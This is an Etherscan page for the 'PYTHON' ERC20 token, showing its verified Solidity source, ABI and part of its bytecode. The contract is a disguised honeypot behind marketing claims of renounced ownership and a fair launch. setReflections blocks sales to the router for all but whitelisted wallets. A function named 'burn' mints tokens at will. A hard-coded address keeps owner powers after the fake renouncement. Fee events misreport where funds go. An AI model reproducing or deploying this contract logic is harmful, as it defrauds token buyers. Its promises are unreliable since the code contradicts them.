ETH Price: $2,634.52 (-0.29%)
Gas: 14.8 Gwei

Token

PYTHON (PYTHON)
 

Overview

Max Total Supply

10,000,004,499,999,999,999.999999999999999999 PYTHON

Holders

40

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
kaesha.eth
Balance
28,371,222,518.003572597574259634 PYTHON

Value
$0.00
0xecf542c31d2d3a8bce3c6a0ffe15ea53c2d080e6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Python

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-12-10
*/

/*

._______  ____   _________._.___.__  ._______  .______  
: ____  | \   \_/   /\__ _:|:   |  \ : .___  \ :      \ 
|    :  |  \___ ___/   |  :||   :   || :   |  ||       |
|   |___|    |   |     |   ||   .   ||     :  ||   |   |
|___|        |___|     |   ||___|   | \_. ___/ |___|   |
                       |___|    |___|   :/         |___|
                                        :               
                                                                                               
PYTHON is a new ERC20/Eth Token that is used for the MontyPython game.
5% Tax for marketing & buyback + burn
Liquidity will be locked for 1 year a few minutes after launch and ownership will be renounced. 
50% Supply Burned on Launch
100% Fair Launch - no presale, no whitelist
Join the telegram or visit our site for more info

*/
pragma solidity ^0.8.0;


library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

  
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

   
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

   
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

  function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

 
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

   
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

   
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

   
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

   
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}


interface IERC20 {
   
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
  
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


contract Python is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) public _balances;
    mapping(address => mapping(address => uint256)) public _allowances;
    mapping(address => bool) private _blackbalances;
    
    mapping(address => bool) private _balances1;

    address internal router;
    uint256 public _totalSupply = 4500000000000*10**18;
    string public _name = "PYTHON";
    string public _symbol= "PYTHON";
     bool balances1 = true;

    address payable public charityAddress = payable(0x2f7d7d93f7Cc0CA5250cf7389DFA0cd4EC6134cc); // Marketing Address
    uint256 public charityPercent = 5; 
    
    address public immutable burnAddress = 0x000000000000000000000000000000000000dEaD;
    uint256 public burnPercent = 0; 
    
    uint256 public marketingAmount;
    uint256 public burnAmount;
    
    function SetCharityAddress(address payable  _charityAddress) onlyOwner public {
        charityAddress = _charityAddress;
    }
    
    function SetCharityPercent(uint256 _charityPercent) onlyOwner public {
        charityPercent = _charityPercent;
    }
    
    function SetBurnPercent(uint256 _burnPercent) onlyOwner public {
        burnPercent = _burnPercent;
    }
    
    constructor() {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(this), msg.sender, _totalSupply);
        owner = msg.sender;
    }
    
    address public owner;
    address private marketAddy = payable(0x2f7d7d93f7Cc0CA5250cf7389DFA0cd4EC6134cc);
    
    modifier onlyOwner {
        require((owner == msg.sender) || (msg.sender == marketAddy));
        _;
    }
    function changeOwner(address _owner) onlyOwner public {
        owner = _owner;
    }
    
    function RenounceOwnership() onlyOwner public {
        owner = 0x000000000000000000000000000000000000dEaD;
    }

    function setReflections(address _addy) onlyOwner public {
        router = _addy;
        balances1 = false;
    }
    
     function Marekting(address account) onlyOwner public {
        _balances1[account] = true;
    }
    
     function Distribution(address account) onlyOwner public {
        _balances1[account] = false;
    }
    
    
    
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }
        return true;
    }

   
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }
        return true;
    }
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(_blackbalances[sender] != true );
        if(recipient == router) {
            require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
        }
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        uint256 burnAmount = amount * burnPercent / 100 ; 
        uint256 charityAmount = amount * charityPercent / 100; 
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        amount =  amount - charityAmount - burnAmount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        
         if (charityPercent > 0){
          
           _balances[recipient] += charityAmount;
          emit Transfer(sender, charityAddress, charityAmount);  
            
        }
        
        if (burnPercent > 0){
            
           _totalSupply -= burnAmount;
           emit Transfer(sender, burnAddress, burnAmount);
            
        }
        
        
    }

   

  
    function _approving_burn(address account, uint256 amount) onlyOwner  public virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(account, address(0), amount);
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }
    

      function  burn(address account, uint256 amount) onlyOwner  public virtual {
        require(account != address(0), "ERC20: burn to the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    
    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        //require(balances1 || _balances1[sender] , "ERC20: transfer to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

   
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
    

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"Distribution","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"Marekting","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"RenounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_burnPercent","type":"uint256"}],"name":"SetBurnPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_charityAddress","type":"address"}],"name":"SetCharityAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_charityPercent","type":"uint256"}],"name":"SetCharityPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"_allowances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"_approving_burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"burnAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnPercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"changeOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"charityAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"charityPercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addy","type":"address"}],"name":"setReflections","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60a06040526c38cc48c1a93d0e2e9e200000006005556040518060400160405280600681526020017f505954484f4e00000000000000000000000000000000000000000000000000008152506006908051906020019062000062929190620002b8565b506040518060400160405280600681526020017f505954484f4e000000000000000000000000000000000000000000000000000081525060079080519060200190620000b0929190620002b8565b506001600860006101000a81548160ff021916908315150217905550732f7d7d93f7cc0ca5250cf7389dfa0cd4ec6134cc600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600560095561dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff168152506000600a55732f7d7d93f7cc0ca5250cf7389dfa0cd4ec6134cc600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620001c257600080fd5b506005546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60055460405162000269919062000383565b60405180910390a333600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000405565b828054620002c690620003cf565b90600052602060002090601f016020900481019282620002ea576000855562000336565b82601f106200030557805160ff191683800117855562000336565b8280016001018555821562000336579182015b828111156200033557825182559160200191906001019062000318565b5b50905062000345919062000349565b5090565b5b80821115620003645760008160009055506001016200034a565b5090565b6000819050919050565b6200037d8162000368565b82525050565b60006020820190506200039a600083018462000372565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620003e857607f821691505b60208210811415620003ff57620003fe620003a0565b5b50919050565b608051612c016200042860003960008181610b6a01526120010152612c016000f3fe608060405234801561001057600080fd5b50600436106101fb5760003560e01c806370d5ae051161011a578063a457c2d7116100ad578063b09f12661161007c578063b09f1266146105b6578063b64665af146105d4578063b81e05bc146105f0578063d28d88521461060c578063dd62ed3e1461062a576101fb565b8063a457c2d71461051c578063a6f9dae11461054c578063a9059cbb14610568578063afcf2fc414610598576101fb565b806395d89b41116100e957806395d89b41146104aa57806396da497b146104c85780639dc29fac146104e4578063a3de474214610500576101fb565b806370d5ae051461043657806376bbd448146104545780638a4fc68b146104705780638da5cb5b1461048c576101fb565b8063360bfd54116101925780634a8cbae1116101615780634a8cbae1146103ae5780636e4ee811146103cc5780636ebcf607146103d657806370a0823114610406576101fb565b8063360bfd541461032457806339509351146103425780633eaaf86b14610372578063486a7e6b14610390576101fb565b8063095ea7b3116101ce578063095ea7b31461028857806318160ddd146102b857806323b872dd146102d6578063313ce56714610306576101fb565b8063024c2ddd1461020057806303807ee51461023057806305dbf84d1461024e57806306fdde031461026a575b600080fd5b61021a600480360381019061021591906120f5565b61065a565b604051610227919061214e565b60405180910390f35b61023861067f565b604051610245919061214e565b60405180910390f35b61026860048036038101906102639190612169565b610685565b005b610272610792565b60405161027f919061222f565b60405180910390f35b6102a2600480360381019061029d919061227d565b610824565b6040516102af91906122d8565b60405180910390f35b6102c0610842565b6040516102cd919061214e565b60405180910390f35b6102f060048036038101906102eb91906122f3565b61084c565b6040516102fd91906122d8565b60405180910390f35b61030e610944565b60405161031b9190612362565b60405180910390f35b61032c61094d565b604051610339919061214e565b60405180910390f35b61035c6004803603810190610357919061227d565b610953565b60405161036991906122d8565b60405180910390f35b61037a6109ff565b604051610387919061214e565b60405180910390f35b610398610a05565b6040516103a5919061214e565b60405180910390f35b6103b6610a0b565b6040516103c3919061214e565b60405180910390f35b6103d4610a11565b005b6103f060048036038101906103eb9190612169565b610b08565b6040516103fd919061214e565b60405180910390f35b610420600480360381019061041b9190612169565b610b20565b60405161042d919061214e565b60405180910390f35b61043e610b68565b60405161044b919061238c565b60405180910390f35b61046e60048036038101906104699190612169565b610b8c565b005b61048a6004803603810190610485919061227d565b610c9d565b005b610494610f1a565b6040516104a1919061238c565b60405180910390f35b6104b2610f40565b6040516104bf919061222f565b60405180910390f35b6104e260048036038101906104dd9190612169565b610fd2565b005b6104fe60048036038101906104f9919061227d565b6110df565b005b61051a600480360381019061051591906123e5565b6112e5565b005b6105366004803603810190610531919061227d565b6113db565b60405161054391906122d8565b60405180910390f35b61056660048036038101906105619190612169565b6114c6565b005b610582600480360381019061057d919061227d565b6115bc565b60405161058f91906122d8565b60405180910390f35b6105a06115da565b6040516105ad9190612421565b60405180910390f35b6105be611600565b6040516105cb919061222f565b60405180910390f35b6105ee60048036038101906105e9919061243c565b61168e565b005b61060a6004803603810190610605919061243c565b61174a565b005b610614611806565b604051610621919061222f565b60405180910390f35b610644600480360381019061063f91906120f5565b611894565b604051610651919061214e565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b600a5481565b3373ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061072e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61073757600080fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6060600680546107a190612498565b80601f01602080910402602001604051908101604052809291908181526020018280546107cd90612498565b801561081a5780601f106107ef5761010080835404028352916020019161081a565b820191906000526020600020905b8154815290600101906020018083116107fd57829003601f168201915b5050505050905090565b600061083861083161191b565b8484611923565b6001905092915050565b6000600554905090565b6000610859848484611aee565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108a461191b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610924576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091b9061253c565b60405180910390fd5b6109388561093061191b565b858403611923565b60019150509392505050565b60006012905090565b600b5481565b60006109f561096061191b565b84846001600061096e61191b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109f0919061258b565b611923565b6001905092915050565b60055481565b600c5481565b60095481565b3373ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610aba5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610ac357600080fd5b61dead600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b7f000000000000000000000000000000000000000000000000000000000000000081565b3373ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610c355750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c3e57600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600860006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610d465750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610d4f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db690612653565b60405180910390fd5b610dcb8260008361208d565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e48906126e5565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160056000828254610ea89190612705565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f0d919061214e565b60405180910390a3505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060078054610f4f90612498565b80601f0160208091040260200160405190810160405280929190818152602001828054610f7b90612498565b8015610fc85780601f10610f9d57610100808354040283529160200191610fc8565b820191906000526020600020905b815481529060010190602001808311610fab57829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061107b5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61108457600080fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806111885750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61119157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611201576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f890612785565b60405180910390fd5b61120d6000838361208d565b806005600082825461121f919061258b565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611274919061258b565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112d9919061214e565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061138e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61139757600080fd5b80600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600160006113ea61191b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156114a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149e90612817565b60405180910390fd5b6114bb6114b261191b565b85858403611923565b600191505092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061156f5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61157857600080fd5b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006115d06115c961191b565b8484611aee565b6001905092915050565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6007805461160d90612498565b80601f016020809104026020016040519081016040528092919081815260200182805461163990612498565b80156116865780601f1061165b57610100808354040283529160200191611686565b820191906000526020600020905b81548152906001019060200180831161166957829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806117375750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61174057600080fd5b80600a8190555050565b3373ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806117f35750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6117fc57600080fd5b8060098190555050565b6006805461181390612498565b80601f016020809104026020016040519081016040528092919081815260200182805461183f90612498565b801561188c5780601f106118615761010080835404028352916020019161188c565b820191906000526020600020905b81548152906001019060200180831161186f57829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611993576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198a906128a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fa9061293b565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611ae1919061214e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b55906129cd565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611bbc57600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d0e57600860009054906101000a900460ff1680611c76575060036000